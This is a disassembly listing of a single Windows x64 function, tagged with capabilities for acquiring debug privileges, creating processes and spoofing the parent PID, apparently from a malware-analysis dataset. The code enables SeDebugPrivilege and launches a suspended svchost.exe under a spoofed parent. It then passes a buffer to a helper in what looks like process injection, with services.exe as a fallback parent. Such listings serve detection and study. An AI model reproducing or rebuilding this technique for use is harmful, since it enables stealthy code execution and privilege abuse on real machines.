Function at 0x140001112
Capabilities:
Acquire debug privileges
Create process on windows
Spoof parent pid

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x498
mov r15, rdx
lea rdi, [rsp + 0x90]
mov qword [rdi], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x28
mov r8, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400011b4
lea r8, [rsp + 0x294]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400011a6
lea r8, [rsp + 0x290]
mov dword [r8], 1
mov dword [r8 + 0xc], 2
mov rcx, qword [rsp + 0x90]
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor edx, edx
mov r9d, 0x10
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
xor eax, eax
mov dword [rsp + 0x188], eax
lea rbx, [rsp + 0x290]
mov dword [rbx], eax
lea rcx, [0x140001863]
mov rdx, rbx
call fcn.140001898
mov esi, dword [rbx]
mov ecx, 0x400
xor edx, edx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140001232
mov rbx, rax
lea rdx, [rsp + 0x108]
mov rcx, rax
mov r8d, 0x40
call fcn.140001996
test al, al
je 0x140001229
lea rcx, [0x1400017a9]
lea rdx, [rsp + 0x108]
call fcn.140001898
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rdi + rdi]
add eax, 2
mov dword [rsp + 0x5c], eax
mov ecx, 0x1fffff
xor edx, edx
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
test rax, rax
mov dword [rsp + 0x74], esi
je 0x1400013b7
mov rbp, rax
lea rdi, [rsp + 0x68]
mov qword [rdi], 0
xor r12d, r12d
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
je 0x1400013bf
mov rbx, rax
xor r12d, r12d
lea r9, [rsp + 0x68]
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x60]
mov r8d, 0x20000
mov rcx, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rdx, str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
lea rbp, [rsp + 0x290]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x98]
mov ecx, 0xd
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rdx], 0x70
mov qword [rdx + 0x68], rbx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80404
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbp
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400013c7
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140002020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 2
xor ecx, ecx
mov r9d, 0x8664
call fcn.140001a90
mov r13d, eax
test eax, eax
sete r12b
mov rcx, qword [rsp + 0x80]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0x78]
call rsi
jmp 0x1400013cd
mov r13d, 0x14
jmp 0x1400013f6
mov r13d, 0x15
jmp 0x1400013e4
mov r13d, 0x17
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbp, qword [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12b, r12b
jne 0x14000154a
cmp dword [rsp + 0x188], 0
je 0x1400014a9
mov rdi, r15
mov ebp, 0x21
mov rsi, qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r14, [0x140002020]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + rbp*4 + 0x108]
xor r15d, r15d
mov ecx, 0x1fffff
xor edx, edx
call rsi
test rax, rax
je 0x140001485
mov rbx, rax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140001a90
mov r13d, eax
test eax, eax
sete r15b
mov rcx, rbx
call r12
test r15b, r15b
jne 0x14000149d
mov eax, dword [rsp + 0x188]
lea rcx, [rbp - 0x20]
inc rbp
cmp rcx, rax
jb 0x140001421
test r15b, r15b
mov r15, rdi
jne 0x14000154a
lea rbp, section..rdata
mov r14, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov rcx, qword [rbp]
call fcn.14000190d
xor edi, edi
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call r14
test rax, rax
je 0x14000152f
mov rbx, rax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140002020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140001a90
mov r13d, eax
test eax, eax
sete dil
mov rcx, rbx
call r12
cmp rsi, 1
ja 0x140001545
inc rsi
add rbp, 8
test dil, dil
je 0x1400014c0
test dil, dil
je 0x140001561
mov eax, r13d
add rsp, 0x498
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:WindowsSystem32_services.exe
lea rdi, [rsp + 0x290]
mov qword [rdi], rcx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov qword [rdi + 8], rax
mov dword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0
lea rcx, [0x14000104c]
mov rdx, rdi
call fcn.140001898
mov rbx, qword [rdi + 0x18]
mov qword [rsp + 0x60], rbx
test rbx, rbx
je 0x140001733
lea rdi, [rsp + 0x68]
mov qword [rdi], 0
xor esi, esi
xor ecx, ecx
mov edx, 1
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
je 0x1400016fc
mov rbp, rax
xor esi, esi
lea r9, [rsp + 0x68]
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x60]
mov r8d, 0x20000
mov rcx, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rdx, str.C:WindowsSystem32_svchost.exe__k_LocalServiceNetwork__p
lea rbx, [rsp + 0x290]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x98]
mov ecx, 0xd
xor eax, eax
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rdx], 0x70
mov qword [rdx + 0x68], rbp
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80404
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001704
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140002020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 2
xor ecx, ecx
mov r9d, 0x8664
call fcn.140001a90
mov r13d, eax
test eax, eax
sete sil
mov rcx, qword [rsp + 0x80]
call r12
mov rcx, qword [rsp + 0x78]
call r12
jmp 0x14000170a
mov r13d, 0x15
jmp 0x140001721
mov r13d, 0x17
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test sil, sil
jne 0x14000154a
mov ecx, 0x1fffff
xor edx, edx
mov r8d, dword [rsp + 0x74]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x14000179e
mov rbx, rax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x38], r15
lea rax, [0x140002020]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rbx
mov r8, 0xffffffffffffffff
mov r9d, 0x8664
call fcn.140001a90
mov r13d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000154a
mov r13d, 0x1d
jmp 0x14000154a